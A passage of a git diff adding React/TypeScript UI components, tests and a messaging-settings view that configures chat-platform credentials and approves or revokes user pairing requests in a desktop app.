+        </div>
+      </header>
+      <div className="min-h-0 overflow-hidden" style={{ height: collapsed ? 0 : height }}>
+        {children}
+      </div>
+    </section>
+  )
+}
+
+// One-line control strip pinned above the list: sort/primary action on the
+// left, overflow kebab on the right.
+export function ListStrip({ left, right }: { left?: ReactNode; right?: ReactNode }) {
+  return (
+    <div className="mb-1 flex h-6 shrink-0 items-center justify-between gap-2 pl-2 pr-1">
+      <div className="flex min-w-0 items-center gap-1.5">{left}</div>
+      <div className="flex shrink-0 items-center gap-1.5">{right}</div>
+    </div>
+  )
+}
+
+export interface ListStripMenuItem {
+  disabled?: boolean
+  label: string
+  onSelect: () => void
+}
+
+export interface ListStripMenuToggle {
+  checked: boolean
+  disabled?: boolean
+  label: string
+  onToggle: (checked: boolean) => void
+}
+
+// Overflow kebab for list-wide actions. `toggle` renders as the first row —
+// one label + switch line covering enable-all/disable-all (checked = every
+// visible item on; mixed reads as off so one flip always means "all on").
+export function ListStripMenu({
+  items = [],
+  label,
+  toggle
+}: {
+  items?: ListStripMenuItem[]
+  label: string
+  toggle?: ListStripMenuToggle
+}) {
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        <Button
+          aria-label={label}
+          className={cn(
+            ICON_BUTTON,
+            'data-[state=open]:bg-(--ui-control-active-background) data-[state=open]:text-foreground'
+          )}
+          size="icon"
+          variant="ghost"
+        >
+          <Codicon name="kebab-vertical" size="0.8125rem" />
+        </Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align="end" className="w-44" sideOffset={6}>
+        {toggle && (
+          <DropdownMenuItem
+            disabled={toggle.disabled}
+            onSelect={event => {
+              // Keep the menu open so the switch is seen flipping.
+              event.preventDefault()
+              toggle.onToggle(!toggle.checked)
+            }}
+          >
+            <span className="min-w-0 flex-1 truncate">{toggle.label}</span>
+            <Switch
+              checked={toggle.checked}
+              className={cn('pointer-events-none shrink-0', !toggle.checked && 'opacity-60')}
+              size="xs"
+              tabIndex={-1}
+            />
+          </DropdownMenuItem>
+        )}
+        {items.map(item => (
+          <DropdownMenuItem disabled={item.disabled} key={item.label} onSelect={item.onSelect}>
+            {item.label}
+          </DropdownMenuItem>
+        ))}
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
+
+export function ListStripButton({
+  active,
+  children,
+  disabled,
+  onClick
+}: {
+  active?: boolean
+  children: ReactNode
+  disabled?: boolean
+  onClick: () => void
+}) {
+  return (
+    <button
+      className={cn(
+        'cursor-pointer text-[0.68rem] font-medium transition-colors disabled:opacity-40',
+        active ? 'text-foreground' : 'text-muted-foreground/70 hover:text-foreground'
+      )}
+      disabled={disabled}
+      onClick={onClick}
+      type="button"
+    >
+      {children}
+    </button>
+  )
+}
+
+interface CapRowProps {
+  active: boolean
+  busy?: boolean
+  enabled: boolean
+  meta?: ReactNode
+  onSelect: () => void
+  onToggle: (checked: boolean) => void
+  rowId?: string
+  /** Second line under the name (category, description, status). Rows grow to h-11. */
+  subtitle?: ReactNode
+  title: string
+  toggleLabel: string
+}
+
+// The one row used by all three lists. Fixed height, always-visible switch —
+// state reads from the switch + dimmed title, toggling never requires
+// selecting first. Off rows dim; the switch itself dims when off.
+export function CapRow({
+  active,
+  busy,
+  enabled,
+  meta,
+  onSelect,
+  onToggle,
+  rowId,
+  subtitle,
+  title,
+  toggleLabel
+}: CapRowProps) {
+  return (
+    <div
+      className={cn(
+        'group/row row-hover flex w-full shrink-0 items-center rounded-md hover:text-foreground',
+        subtitle ? 'h-11' : 'h-8',
+        active ? 'bg-(--ui-row-active-background) text-foreground' : 'text-(--ui-text-secondary)'
+      )}
+      id={rowId}
+    >
+      <RowButton
+        className="flex h-full min-w-0 flex-1 cursor-pointer items-center gap-2 rounded-md pl-2 pr-1.5 text-left"
+        onClick={onSelect}
+      >
+        <span className="min-w-0 flex-1">
+          <span
+            className={cn(
+              'block truncate text-[0.78rem]',
+              enabled ? 'font-medium text-foreground/85' : 'font-normal text-muted-foreground/60'
+            )}
+          >
+            {title}
+          </span>
+          {subtitle != null && (
+            <span className="flex min-w-0 items-center gap-1 text-[0.62rem] text-muted-foreground/50">
+              {typeof subtitle === 'string' ? <span className="truncate">{subtitle}</span> : subtitle}
+            </span>
+          )}
+        </span>
+        {meta != null && (
+          <span className="shrink-0 rounded bg-(--ui-bg-quinary) px-1 py-px text-[0.6rem] tabular-nums leading-3.5 text-(--ui-text-tertiary)">
+            {meta}
+          </span>
+        )}
+      </RowButton>
+      <Switch
+        aria-label={toggleLabel}
+        checked={enabled}
+        className={cn('mr-1.5 shrink-0 cursor-pointer', !enabled && 'opacity-60')}
+        disabled={busy}
+        onCheckedChange={onToggle}
+        size="xs"
+        title={toggleLabel}
+      />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/messaging/index.test.tsx b/ui-desktop/src/app/messaging/index.test.tsx
new file mode 100644
index 000000000..786ec0ce6
--- /dev/null
+++ b/ui-desktop/src/app/messaging/index.test.tsx
@@ -0,0 +1,204 @@
+// @vitest-environment jsdom
+import { act, cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { MemoryRouter } from 'react-router'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { MessagingPlatformInfo } from '@/types/clawcodex'
+
+const getMessagingPlatforms = vi.fn()
+const updateMessagingPlatform = vi.fn()
+const getPairing = vi.fn()
+const approvePairing = vi.fn()
+const revokePairing = vi.fn()
+const openExternalLink = vi.fn()
+
+vi.mock('@/clawcodex', () => ({
+  approvePairing: (platformId: string, requestId: string) => approvePairing(platformId, requestId),
+  getMessagingPlatforms: () => getMessagingPlatforms(),
+  getPairing: () => getPairing(),
+  revokePairing: (platformId: string, userId: string) => revokePairing(platformId, userId),
+  updateMessagingPlatform: (id: string, body: unknown) => updateMessagingPlatform(id, body)
+}))
+
+vi.mock('@/lib/external-link', () => ({
+  openExternalLink: (href: string) => openExternalLink(href)
+}))
+
+vi.mock('@/store/notifications', () => ({
+  notify: vi.fn(),
+  notifyError: vi.fn()
+}))
+
+vi.mock('@/store/system-actions', () => ({
+  runGatewayRestart: vi.fn()
+}))
+
+function platform(patch: Partial<MessagingPlatformInfo> = {}): MessagingPlatformInfo {
+  return {
+    configured: false,
+    description: 'A platform.',
+    docs_url: '',
+    enabled: false,
+    env_vars: [],
+    gateway_running: true,
+    id: 'teams',
+    name: 'Microsoft Teams',
+    state: 'disabled',
+    ...patch
+  }
+}
+
+beforeEach(() => {
+  updateMessagingPlatform.mockResolvedValue({ ok: true, platform: 'teams' })
+  getPairing.mockResolvedValue({ approved: [], pending: [] })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+async function renderMessaging() {
+  const { MessagingView } = await import('./index')
+  let result: ReturnType<typeof render>
+  await act(async () => {
+    result = render(
+      <MemoryRouter>
+        <MessagingView />
+      </MemoryRouter>
+    )
+  })
+
+  return result!
+}
+
+describe('MessagingView setup-guide link', () => {
+  it('hides the setup-guide button for a plugin platform with no docs URL', async () => {
+    // Teams (and other plugin platforms) ship an empty docs_url. Rendering an
+    // anchor with href="" let Electron resolve it to the app's own packaged
+    // index.html and fail with an OS "file not found" dialog. The button must
+    // simply not appear when there is no guide to open.
+    getMessagingPlatforms.mockResolvedValue({ platforms: [platform({ docs_url: '' })] })
+
+    await renderMessaging()
+
+    expect((await screen.findAllByText('Microsoft Teams')).length).toBeGreaterThan(0)
+    expect(screen.queryByText('Open setup guide')).toBeNull()
+  })
+
+  it('opens a real docs URL through the validated external opener', async () => {
+    const docsUrl = 'https://github.com/agentforce314/clawcodex/docs/user-guide/messaging/teams'
+    getMessagingPlatforms.mockResolvedValue({ platforms: [platform({ docs_url: docsUrl })] })
+
+    await renderMessaging()
+
+    const link = await screen.findByText('Open setup guide')
+    await act(async () => {
+      fireEvent.click(link)
+    })
+
+    await waitFor(() => expect(openExternalLink).toHaveBeenCalledWith(docsUrl))
+  })
+})
+
+describe('MessagingView pairing', () => {
+  const pendingUser = {
+    age_minutes: 3,
+    platform: 'teams',
+    request_id: 'a1b2c3d4e5f60718',
+    user_id: '7712345',
+    user_name: 'Bee'
+  }
+
+  it('approves the listed request by its request id, never by a code', async () => {
+    // The whole point of the request-id grant path: the UI can only ever send
+    // the server-side row id, because the one-time code is never returned by
+    // the API. Posting anything derived from the code could not be approved.
+    getMessagingPlatforms.mockResolvedValue({ platforms: [platform()] })
+    getPairing.mockResolvedValue({ approved: [], pending: [pendingUser] })
+    approvePairing.mockResolvedValue({ ok: true, user: { user_id: '7712345', user_name: 'Bee' } })
+
+    await renderMessaging()
+
+    const approve = await screen.findByRole('button', { name: 'Approve' })
+    await act(async () => {
+      fireEvent.click(approve)
+    })
+
+    await waitFor(() => expect(approvePairing).toHaveBeenCalledWith('teams', 'a1b2c3d4e5f60718'))
+  })
+
+  it('restores the pending row when approval fails', async () => {
+    // Optimistic removal must not silently swallow the request: a failed
+    // approve has to leave the operator something to retry.
+    getMessagingPlatforms.mockResolvedValue({ platforms: [platform()] })
+    getPairing.mockResolvedValue({ approved: [], pending: [pendingUser] })
+    approvePairing.mockRejectedValue(new Error('500 boom'))
+
+    await renderMessaging()
+
+    await act(async () => {
+      fireEvent.click(await screen.findByRole('button', { name: 'Approve' }))
+    })
+
+    expect(await screen.findByRole('button', { name: 'Approve' })).toBeTruthy()
+    expect(screen.getByText('Bee')).toBeTruthy()
+  })
+
+  it('shows no pairing affordance when nobody is waiting', async () => {
+    // Approvals are rare; an always-present empty state would be permanent
+    // chrome on a page that is otherwise about credentials.
+    getMessagingPlatforms.mockResolvedValue({ platforms: [platform()] })
+    getPairing.mockResolvedValue({ approved: [], pending: [] })
+
+    await renderMessaging()
+
+    expect((await screen.findAllByText('Microsoft Teams')).length).toBeGreaterThan(0)
+    expect(screen.queryByRole('button', { name: 'Approve' })).toBeNull()
+    expect(screen.queryByText(/Pending requests/)).toBeNull()
+  })
+
+  it('still renders platforms when the pairing endpoint fails', async () => {
+    // An older backend without the endpoint must not blank the page.
+    getMessagingPlatforms.mockResolvedValue({ platforms: [platform()] })
+    getPairing.mockRejectedValue(new Error('404 not found'))
+
+    await renderMessaging()
+
+    expect((await screen.findAllByText('Microsoft Teams')).length).toBeGreaterThan(0)
+    expect(screen.queryByRole('button', { name: 'Approve' })).toBeNull()
+  })
+
+  it('refetches pending rows on pairing.changed, not on platforms.changed', async () => {
+    // The two signals are not interchangeable: platforms.changed tracks
+    // connect/disconnect health via gateway_state.json, which a new pairing
+    // request never moves. Riding it would leave someone invisible in the
+    // pending list until an unrelated reconnect happened to fire.
+    const { $changeEventsAvailable, $pairingChangeTick, $platformsChangeTick } = await import('@/store/live-sync')
+
+    getMessagingPlatforms.mockResolvedValue({ platforms: [platform()] })
+    getPairing.mockResolvedValue({ approved: [], pending: [] })
+
+    await renderMessaging()
+    await act(async () => {
+      $changeEventsAvailable.set(true)
+    })
+    getPairing.mockClear()
+
+    // Someone DMs the bot: the store moves, the watcher ticks pairing.changed.
+    getPairing.mockResolvedValue({ approved: [], pending: [pendingUser] })
+    await act(async () => {
+      $pairingChangeTick.set($pairingChangeTick.get() + 1)
+    })
+
+    await waitFor(() => expect(getPairing).toHaveBeenCalled())
+    expect(await screen.findByRole('button', { name: 'Approve' })).toBeTruthy()
+
+    // A platform health tick alone must not be what fetches pairing.
+    getPairing.mockClear()
+    await act(async () => {
+      $platformsChangeTick.set($platformsChangeTick.get() + 1)
+    })
+    expect(getPairing).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/messaging/index.tsx b/ui-desktop/src/app/messaging/index.tsx
new file mode 100644
index 000000000..82851c911
--- /dev/null
+++ b/ui-desktop/src/app/messaging/index.tsx
@@ -0,0 +1,933 @@
+import { useStore } from '@nanostores/react'
+import type * as React from 'react'
+import { useCallback, useEffect, useMemo, useState } from 'react'
+
+import {
+  approvePairing,
+  getMessagingPlatforms,
+  getPairing,
+  type MessagingEnvVarInfo,
+  type MessagingPlatformInfo,
+  type PairingUser,
+  revokePairing,
+  updateMessagingPlatform
+} from '@/clawcodex'
+import { PageLoader } from '@/components/page-loader'
+import { StatusDot, type StatusTone } from '@/components/status-dot'
+import { Button } from '@/components/ui/button'
+import { ConfirmDialog } from '@/components/ui/confirm-dialog'
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
+import { ErrorBanner } from '@/components/ui/error-state'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { Tip } from '@/components/ui/tooltip'
+import { type Translations, useI18n } from '@/i18n'
+import { openExternalLink } from '@/lib/external-link'
+import { ExternalLink, Save, Trash2 } from '@/lib/icons'
+import { normalize } from '@/lib/text'
+import { cn } from '@/lib/utils'
+import { $changeEventsAvailable, $pairingChangeTick, $platformsChangeTick } from '@/store/live-sync'
+import { notify, notifyError } from '@/store/notifications'
+import { runGatewayRestart } from '@/store/system-actions'
+
+import { useRefreshHotkey } from '../hooks/use-refresh-hotkey'
+import { useRouteEnumParam } from '../hooks/use-route-enum-param'
+import { DetailColumn, ListColumn, MasterDetail } from '../master-detail'
+import { PageSearchShell } from '../page-search-shell'
+import { CREDENTIAL_CONTROL_CLASS } from '../settings/credential-key-ui'
+import { ListRow } from '../settings/primitives'
+import type { SetStatusbarItemGroup } from '../shell/statusbar-controls'
+
+import { PlatformAvatar } from './platform-icon'
+
+interface MessagingViewProps extends React.ComponentProps<'section'> {
+  setStatusbarItemGroup?: SetStatusbarItemGroup
+}
+
+type EditMap = Record<string, Record<string, string>>
+
+const PILL_TONE: Record<StatusTone, string> = {
+  good: 'bg-primary/10 text-primary',
+  muted: 'bg-muted text-muted-foreground',
+  warn: 'bg-amber-500/10 text-amber-600 dark:text-amber-300',
+  bad: 'bg-destructive/10 text-destructive'
+}
+
+const stateLabel = (state: null | string | undefined, m: Translations['messaging']) =>
+  state ? m.states[state] || state.replace(/_/g, ' ') : m.unknown
+
+function stateTone({ enabled, state }: MessagingPlatformInfo): StatusTone {
+  if (!enabled) {
+    return 'muted'
+  }
+
+  if (state === 'connected') {
+    return 'good'
+  }
+
+  if (state === 'fatal' || state === 'startup_failed') {
+    return 'bad'
+  }
+
+  return 'warn'
+}
+
+const trimEdits = (edits: Record<string, string>): Record<string, string> =>
+  Object.fromEntries(
+    Object.entries(edits)
+      .map(([k, v]) => [k, v.trim()])
+      .filter(([, v]) => v)
+  )
+
+/** Stable row identity: a user id is only unique within its platform. */
+const pairingKey = (user: PairingUser) => `${user.platform}:${user.user_id}`
+
+const pairingLabel = (user: PairingUser) => user.user_name || user.user_id
+
+/** Group pairing rows by platform id so a detail pane can slice its own. */
+function byPlatform(rows: PairingUser[]): Record<string, PairingUser[]> {
+  const grouped: Record<string, PairingUser[]> = {}
+
+  for (const row of rows) {
+    ;(grouped[row.platform] ||= []).push(row)
+  }
+
+  return grouped
+}
+
+const FIELD_COPY: Record<string, { advanced?: boolean }> = {
+  TELEGRAM_PROXY: { advanced: true },
+  DISCORD_REPLY_TO_MODE: { advanced: true },
+  DISCORD_ALLOW_ALL_USERS: { advanced: true },
+  DISCORD_HOME_CHANNEL: { advanced: true },
+  DISCORD_HOME_CHANNEL_NAME: { advanced: true },
+  BLUEBUBBLES_ALLOW_ALL_USERS: { advanced: true },
+  MATTERMOST_ALLOW_ALL_USERS: { advanced: true },
+  MATTERMOST_HOME_CHANNEL: { advanced: true },
+  QQ_ALLOW_ALL_USERS: { advanced: true },
+  QQBOT_HOME_CHANNEL: { advanced: true },
+  QQBOT_HOME_CHANNEL_NAME: { advanced: true },
+  WHATSAPP_ENABLED: { advanced: true },
+  WHATSAPP_MODE: { advanced: true }
+}
+
+function fieldCopy(field: MessagingEnvVarInfo, m: Translations['messaging']) {
+  const copy = FIELD_COPY[field.key] || {}
+  const localized = m.fieldCopy[field.key] || {}
+
+  return {
+    label: localized.label || field.prompt || field.key,
+    help: localized.help || field.description,
+    placeholder: localized.placeholder || field.prompt,
+    advanced: Boolean(copy.advanced || field.advanced)
+  }
+}
+
+export function MessagingView({ setStatusbarItemGroup: _setStatusbarItemGroup, ...props }: MessagingViewProps) {
+  const { t } = useI18n()
+  const m = t.messaging
+  // Both save/toggle toasts offer the same one-click restart.
+  const restartGatewayAction = { label: t.commandCenter.restartGateway, onClick: () => void runGatewayRestart() }
+  const [platforms, setPlatforms] = useState<MessagingPlatformInfo[] | null>(null)
+
+  const [pairing, setPairing] = useState<{ approved: PairingUser[]; pending: PairingUser[] }>({
+    approved: [],
+    pending: []
+  })
+
+  const [approving, setApproving] = useState<null | string>(null)
+  const [pendingRevoke, setPendingRevoke] = useState<null | PairingUser>(null)
+  const [edits, setEdits] = useState<EditMap>({})
+  const [query, setQuery] = useState('')
+  const [refreshing, setRefreshing] = useState(false)
+  const [saving, setSaving] = useState<string | null>(null)
+  const platformIds = useMemo(() => platforms?.map(p => p.id) ?? [], [platforms])
+  const [selectedId, setSelectedId] = useRouteEnumParam('platform', platformIds, platformIds[0] ?? '')
+
+  const refreshPlatforms = useCallback(
+    async (silent = false) => {
+      if (!silent) {
+        setRefreshing(true)
+      }
+
+      try {
+        const result = await getMessagingPlatforms()
+        setPlatforms(result.platforms)
+      } catch (err) {
+        if (!silent) {
+          notifyError(err, m.loadFailed)
+        }
+      } finally {
+        if (!silent) {
+          setRefreshing(false)
+        }
+      }
+    },
+    [m]
+  )
+
+  // Pairing has its own signal. platforms.changed tracks connect/disconnect
+  // health via gateway_state.json, which a new pairing request never moves —
+  // riding it would leave a pending row invisible until something unrelated
+  // reconnected. Failures stay silent: an older backend without the endpoint
+  // should show no rows, not an error banner over a working page.
+  const refreshPairing = useCallback(async () => {
+    try {
+      const result = await getPairing()
+      setPairing({ approved: result.approved ?? [], pending: result.pending ?? [] })
+    } catch {
+      // Leave the last known rows in place rather than blanking them.
+    }
+  }, [])
+
+  const refreshAll = useCallback(
+    async (silent = false) => {
+      await Promise.all([refreshPlatforms(silent), refreshPairing()])
+    },
+    [refreshPairing, refreshPlatforms]
+  )
+
+  useRefreshHotkey(() => void refreshAll())
+
+  useEffect(() => {
+    void refreshAll()
+  }, [refreshAll])
+
+  const changeEventsAvailable = useStore($changeEventsAvailable)
+  const platformsChangeTick = useStore($platformsChangeTick)
+  const pairingChangeTick = useStore($pairingChangeTick)
+
+  // A new pending request (or a grant from another surface) moves the pairing
+  // store on disk; the change watcher turns that into pairing.changed.
+  useEffect(() => {
+    if (!changeEventsAvailable || pairingChangeTick === 0 || document.hidden) {
+      return
+    }
+
+    void refreshPairing()
+  }, [changeEventsAvailable, pairingChangeTick, refreshPairing])
+
+  // Connection status updates without a manual "check" click. platforms.changed
+  // (the gateway persisting connect/disconnect/health to gateway_state.json)
+  // drives the refresh on event-capable backends — no timer; older backends
+  // keep the legacy visible-tab poll.
+  useEffect(() => {
+    if (!changeEventsAvailable || platformsChangeTick === 0 || document.hidden) {
+      return
+    }
+
+    void refreshPlatforms(true)
+  }, [changeEventsAvailable, platformsChangeTick, refreshPlatforms])
+
+  useEffect(() => {
+    if (changeEventsAvailable) {
+      return
+    }
+
+    let cancelled = false
+
+    function tick() {
+      if (cancelled || document.hidden) {
+        return
+      }
+
+      void refreshAll(true)
+    }
+
+    const id = window.setInterval(tick, 6000)
+
+    return () => {
+      cancelled = true
+      window.clearInterval(id)
+    }
+  }, [changeEventsAvailable, refreshAll])
+
+  const selected = useMemo(() => {
+    if (!platforms) {
+      return null
+    }
+
+    return platforms.find(platform => platform.id === selectedId) || platforms[0] || null
+  }, [platforms, selectedId])
+
+  const pendingByPlatform = useMemo(() => byPlatform(pairing.pending), [pairing.pending])
+  const approvedByPlatform = useMemo(() => byPlatform(pairing.approved), [pairing.approved])
+
+  const visiblePlatforms = useMemo(() => {
+    if (!platforms) {
+      return []
+    }
+
+    const q = normalize(query)
+
+    if (!q) {
+      return platforms
+    }
+
+    return platforms.filter(platform =>
+      [platform.id, platform.name, platform.description, platform.state]
+        .filter(Boolean)
+        .some(value => String(value).toLowerCase().includes(q))
+    )
+  }, [platforms, query])
+
+  async function handleToggle(platform: MessagingPlatformInfo, enabled: boolean) {
+    setSaving(`enabled:${platform.id}`)
+
+    try {
+      await updateMessagingPlatform(platform.id, { enabled })
+      setPlatforms(
+        current =>
+          current?.map(row =>
+            row.id === platform.id
+              ? {
+                  ...row,
+                  enabled,
+                  state: enabled ? (row.configured ? 'pending_restart' : 'not_configured') : 'disabled'
+                }
+              : row
+          ) ?? current
+      )
+      notify({
+        kind: 'success',
+        title: enabled ? m.platformEnabled(platform.name) : m.platformDisabled(platform.name),
+        message: m.restartToApply,
+        action: restartGatewayAction
+      })
+    } catch (err) {
+      notifyError(err, m.failedUpdate(platform.name))
+    } finally {
+      setSaving(null)
+    }
+  }
+
+  async function handleSave(platform: MessagingPlatformInfo) {
+    const env = trimEdits(edits[platform.id] || {})
+
+    if (Object.keys(env).length === 0) {
+      return
+    }
+
+    setSaving(`env:${platform.id}`)
+
+    try {
+      await updateMessagingPlatform(platform.id, { env })
+      setEdits(current => ({ ...current, [platform.id]: {} }))
+      await refreshPlatforms()
+      notify({
+        kind: 'success',
+        title: m.setupSaved(platform.name),
+        message: m.restartToReconnect,
+        action: restartGatewayAction
+      })
+    } catch (err) {
+      notifyError(err, m.failedSave(platform.name))
+    } finally {
+      setSaving(null)
+    }
+  }
+
+  async function handleClear(platform: MessagingPlatformInfo, key: string) {
+    setSaving(`clear:${key}`)
+
+    try {
+      await updateMessagingPlatform(platform.id, { clear_env: [key] })
+      setEdits(current => ({
+        ...current,
+        [platform.id]: {
+          ...(current[platform.id] || {}),
+          [key]: ''
+        }
+      }))
+      await refreshPlatforms()
+      notify({ kind: 'success', title: m.keyCleared(key), message: m.setupUpdated(platform.name) })
+    } catch (err) {
+      notifyError(err, m.failedClear(key))
+    } finally {
+      setSaving(null)
+    }
+  }
+
+  // Approve/revoke paint from a snapshot immediately, then let the
+  // authoritative refresh have the last word. A failed write restores the
+  // snapshot so the row never silently disappears on an error.
+  async function handleApprove(user: PairingUser) {
+    if (!user.request_id) {
+      return
+    }
+
+    const key = pairingKey(user)
+    const snapshot = pairing
+    setApproving(key)
+    setPairing(current => ({
+      approved: current.approved,
+      pending: current.pending.filter(row => pairingKey(row) !== key)
+    }))
+
+    try {
+      await approvePairing(user.platform, user.request_id)
+      notify({ kind: 'success', title: m.approvedUser(pairingLabel(user)), message: m.approvedHint })
+      await refreshPairing()
+    } catch (err) {
+      setPairing(snapshot)
+      // 429 is the code path's brute-force lockout — a distinct condition the
+      // operator can only wait out, so it gets its own message.
+      const lockedOut = err instanceof Error && err.message.includes('429')
+      notifyError(err, lockedOut ? m.pairingLockedOut : m.failedApprove(pairingLabel(user)))
+    } finally {
+      setApproving(null)
+    }
+  }
+
+  // ConfirmDialog owns the pending → done → close beat and shows an inline
+  // error when onConfirm throws, so this rethrows instead of swallowing.
+  async function handleRevoke(user: PairingUser) {
+    const key = pairingKey(user)
+    const snapshot = pairing
+    setPairing(current => ({
+      approved: current.approved.filter(row => pairingKey(row) !== key),
+      pending: current.pending
+    }))
+
+    try {
+      await revokePairing(user.platform, user.user_id)
+      notify({ kind: 'success', title: m.revokedUser(pairingLabel(user)), message: user.platform })
+      await refreshPairing()
+    } catch (err) {
+      setPairing(snapshot)
+      throw err
+    }
+  }
+
+  return (
+    <PageSearchShell
+      {...props}
+      onSearchChange={setQuery}
+      searchHidden={(platforms?.length ?? 0) === 0}
+      searchHints={platforms?.slice(0, 5).map(platform => t.common.tryHint(platform.name.toLowerCase()))}
+      searchPlaceholder={m.search}
+      searchValue={query}
+    >
+      {!platforms ? (
+        <PageLoader label={m.loading} />
+      ) : (
+        <MasterDetail>
+          <ListColumn>
+            <ul className="space-y-1">
+              {visiblePlatforms.map(platform => (
+                <li key={platform.id}>
+                  <PlatformRow
+                    active={selected?.id === platform.id}
+                    onSelect={() => setSelectedId(platform.id)}
+                    pendingCount={pendingByPlatform[platform.id]?.length ?? 0}
+                    platform={platform}
+                  />
+                </li>
+              ))}
+            </ul>
+          </ListColumn>
+
+          <DetailColumn
+            actionBar={
+              selected && (
+                <PlatformActionBar
+                  hasEdits={Object.keys(trimEdits(edits[selected.id] || {})).length > 0}
+                  onSave={() => void handleSave(selected)}
+                  onToggle={enabled => void handleToggle(selected, enabled)}
+                  platform={selected}
+                  saving={saving}
+                />
+              )
+            }
+          >
+            {selected && (
+              <PlatformDetail
+                approved={approvedByPlatform[selected.id] ?? []}
+                approving={approving}
+                edits={edits[selected.id] || {}}
+                onApprove={user => void handleApprove(user)}
+                onClear={key => void handleClear(selected, key)}
+                onEdit={(key, value) =>
+                  setEdits(current => ({
+                    ...current,
+                    [selected.id]: {
+                      ...(current[selected.id] || {}),
+                      [key]: value
+                    }
+                  }))
+                }
+                onRevoke={setPendingRevoke}
+                pending={pendingByPlatform[selected.id] ?? []}
+                platform={selected}
+                saving={saving}
+              />
+            )}
+          </DetailColumn>
+        </MasterDetail>
+      )}
+
+      <ConfirmDialog
+        busyLabel={m.revoking}
+        cancelLabel={t.common.cancel}
+        confirmLabel={m.revoke}
+        description={pendingRevoke ? m.revokeDesc(pairingLabel(pendingRevoke)) : null}
+        destructive
+        onClose={() => setPendingRevoke(null)}
+        onConfirm={() => (pendingRevoke ? handleRevoke(pendingRevoke) : undefined)}
+        open={Boolean(pendingRevoke)}
+        title={m.revokeTitle}
+      />
+    </PageSearchShell>
+  )
+}
+
+function PlatformRow({
+  active,
+  onSelect,
+  pendingCount,
+  platform
+}: {
+  active: boolean
+  onSelect: () => void
+  pendingCount: number
+  platform: MessagingPlatformInfo
+}) {
+  const { t } = useI18n()
+
+  return (
+    <button
+      className={cn(
+        'row-hover flex w-full items-center gap-2 rounded-md px-2 py-1.5 text-left hover:text-foreground',
+        active ? 'bg-(--ui-row-active-background) text-foreground' : 'text-(--ui-text-secondary)'
+      )}
+      onClick={onSelect}
+      type="button"
+    >
+      <PlatformAvatar platformId={platform.id} platformName={platform.name} />
+      <span className="flex min-w-0 flex-1 items-center justify-between gap-2">
+        <span className="truncate text-[length:var(--conversation-text-font-size)] font-normal">{platform.name}</span>
+        <span className="flex shrink-0 items-center gap-1.5">
+          {/* Someone is waiting to be let in — the only way this page tells
+              you so before you open the platform. */}
+          {pendingCount > 0 && (
+            <span
+              aria-label={t.messaging.pendingAria(pendingCount)}
+              className={cn(
+                'inline-flex min-w-4 items-center justify-center rounded-full px-1 text-[0.66rem] font-medium tabular-nums',
+                PILL_TONE.warn
+              )}
+            >
+              {pendingCount}
+            </span>
+          )}
+          <StatusDot tone={stateTone(platform)} />
+        </span>
+      </span>
+    </button>
+  )
+}
+
+function PlatformDetail({
+  approved,
+  approving,
+  edits,
+  onApprove,
+  onClear,
+  onEdit,
+  onRevoke,
+  pending,
+  platform,
+  saving
+}: {
+  approved: PairingUser[]
+  approving: null | string
+  edits: Record<string, string>
+  onApprove: (user: PairingUser) => void
+  onClear: (key: string) => void
+  onEdit: (key: string, value: string) => void
+  onRevoke: (user: PairingUser) => void
+  pending: PairingUser[]
+  platform: MessagingPlatformInfo
+  saving: string | null
+}) {
+  const { t } = useI18n()
+  const m = t.messaging
+  const [showAdvanced, setShowAdvanced] = useState(false)
+
+  const requiredFields = platform.env_vars.filter(field => field.required)
+  const optionalFields = platform.env_vars.filter(field => !field.required && !fieldCopy(field, m).advanced)
+  const advancedFields = platform.env_vars.filter(field => !field.required && fieldCopy(field, m).advanced)
+  const hiddenCount = advancedFields.length
+
+  return (
+    <>
+      <header className="flex items-start gap-3">
+        <PlatformAvatar platformId={platform.id} platformName={platform.name} />
+        <div className="min-w-0 flex-1">
+          <div className="flex flex-wrap items-center gap-2">
+            <h3 className="min-w-0 truncate text-[0.9375rem] font-semibold tracking-tight">{platform.name}</h3>
+            <StatePill tone={stateTone(platform)}>{stateLabel(platform.state, m)}</StatePill>
+            {/* Resting states earn no pill — only actionable ones. */}
+            {!platform.configured && <SetupPill active={false}>{m.needsSetup}</SetupPill>}
+            {!platform.gateway_running && <SetupPill active={false}>{m.gatewayStopped}</SetupPill>}
+          </div>
+          <p className="mt-1 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+            {platform.description}
+          </p>
+          <PlatformHint platform={platform} />
+        </div>
+      </header>
+
+      {platform.error_message && <ErrorBanner>{platform.error_message}</ErrorBanner>}
+
+      {/* Pending pairing requests. Rendered only when someone is actually
+          waiting — an empty-state card here would be permanent chrome on a
+          page that is usually about credentials, not approvals. */}
+      {pending.length > 0 && (
+        <section>
+          <SectionTitle>{m.pendingRequests(pending.length)}</SectionTitle>
+          <div className="mt-1 grid gap-1">
+            {pending.map(user => {
+              const busy = approving === pairingKey(user)
+              const waited = typeof user.age_minutes === 'number' ? m.waitingSince(user.age_minutes) : null
+
+              return (
+                <ListRow
+                  action={
+                    <Button
+                      disabled={busy || !user.request_id}
+                      onClick={() => onApprove(user)}
+                      size="sm"
+                      variant="secondary"
+                    >
+                      {busy ? m.approving : m.approve}
+                    </Button>
+                  }
+                  // An unnamed requester is only a user id — showing it as
+                  // both title and description just repeats itself.
+                  description={[user.user_name ? user.user_id : null, waited].filter(Boolean).join(' · ')}
+                  key={pairingKey(user)}
+                  title={pairingLabel(user)}
+                />
+              )
+            })}
+          </div>
+        </section>
+      )}
+
+      {approved.length > 0 && (
+        <section>
+          <SectionTitle>{m.approvedUsers(approved.length)}</SectionTitle>
+          <div className="mt-1 grid gap-1">
+            {approved.map(user => (
+              <ListRow
+                action={
+                  <Button
+                    aria-label={m.revokeAria(pairingLabel(user))}
+                    onClick={() => onRevoke(user)}
+                    size="sm"
+                    variant="ghost"
+                  >
+                    {m.revoke}
+                  </Button>
+                }
